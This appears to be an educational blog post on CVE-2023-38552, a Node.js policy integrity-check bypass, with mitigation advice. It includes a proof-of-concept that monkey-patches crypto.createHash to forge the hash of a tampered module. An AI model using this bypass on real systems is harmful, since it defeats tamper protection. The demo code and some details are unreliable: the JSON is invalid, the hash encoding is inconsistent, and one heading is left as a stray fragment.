CVE-2023-38552 - Breaking Node.js Policy Integrity Checks (with Exploit Example)

In June 2023, a new security vulnerability was found in Node.js, tracked as CVE-2023-38552. It impacts the experimental "policy" feature, designed as an additional security layer to restrict what code can do. In simple terms, a malicious Node.js application can trick the policy system into accepting fake integrity values, which can be very dangerous if you depend on this feature for security.

Let’s break down exactly what’s going on, who’s at risk, and how someone can exploit this problem.

What is the Node.js Policy Mechanism?

Node.js introduced a policy feature to make applications more secure: it lets you define a policy.json file to restrict what JavaScript files or modules your app can load and what they can do. One feature of this system is resource integrity checking—Node.js checks that files it loads haven't been altered, using cryptographic hashes like SHA-256.

But here’s the catch: in versions 18.x and 20.x (and all "active release lines" as of the vulnerability), this feature is experimental. That means it’s still being tested and is not recommended for production use.

What is CVE-2023-38552?

A bug (CVE-2023-38552) makes it possible for a clever attacker to completely defeat the integrity checking of the Node.js policy mechanism. Instead of actually checking a file’s real hash, a malicious app can “intercept” the process and return any hash it wants!

In other words: if you rely on policy integrity to block tampering, this vulnerability can be exploited to hide all modifications, making the “security” ineffective.

Technical Details

- The policy mechanism calls the module’s code to read resources and compute their cryptographic hash.
- A malicious actor can override or intercept this operation inside the app (for example, by monkey-patching fs or crypto functions).
- The attacker feeds a forged checksum to Node.js policy, so it “thinks” the file is clean—even if it’s altered.

Let’s say you have a policy file like this

// policy.json
{
  "resources": {
    "./protected.js": {
      "integrity": "sha256-abc123..."  // Precomputed hash value
    }
  }
}

The attacker modifies protected.js, but Node.js shouldn’t load it because the hash fails. But with this bug, the attacker can “hijack” crypto.createHash in their own code:

// exploit.js
const crypto = require('crypto');

// Monkey-patch createHash to always return desired hash
const originalCreateHash = crypto.createHash;
crypto.createHash = function (algorithm) {
  const hash = originalCreateHash(algorithm);
  hash.update = function () {
    // Skip real hashing
    return this;
  };
  hash.digest = function () {
    // Always return the hash listed in policy.json
    // This is just for demo; real-world attack would use Buffer, etc.
    return Buffer.from('abc123...', 'hex');
  };
  return hash;
};

require('./protected.js'); // This loads unsafe code, but evades integrity check

Node.js, trusting its own integrity check, loads modified code, because the hash always matches, no matter the actual file content!

Relies on resource integrity to protect their application

Note: Ordinary Node.js users who aren’t using policies are not at risk. Also, this is only about the experimental "policy" system, not the entire module loading logic.

Node.js makes it clear: policy is experimental.

- Update Node.js to a fixed version once available. Watch the official Node.js CVE page for an announcement.
- Be sure to review packages and dependencies for other attack vectors—this bug doesn't affect non-policy mechanisms, but code can be tricky.

References

- Node.js Security Release: CVE-2023-38552 - Policy Integrity Bypass
- Node.js Policy docs: https://nodejs.org/api/policy.html
- NVD CVE entry: https://nvd.nist.gov/vuln/detail/CVE-2023-38552

Final Notes

CVE-2023-38552 is a serious reminder that "experimental" means "not safe for sensitive use." If you’re using Node.js’s policy feature, treat it as a "preview" and not as real security—yet.

Stay up to date, follow Node.js security advisories, and always verify your dependencies. Security, after all, is a process, not a checkbox.


*This post was written exclusively for educational and awareness purposes. If you have questions, visit the Node.js Security Working Group on GitHub.*

Timeline

Published on: 10/18/2023 04:15:11 UTC
Last modified on: 11/03/2023 22:15:09 UTC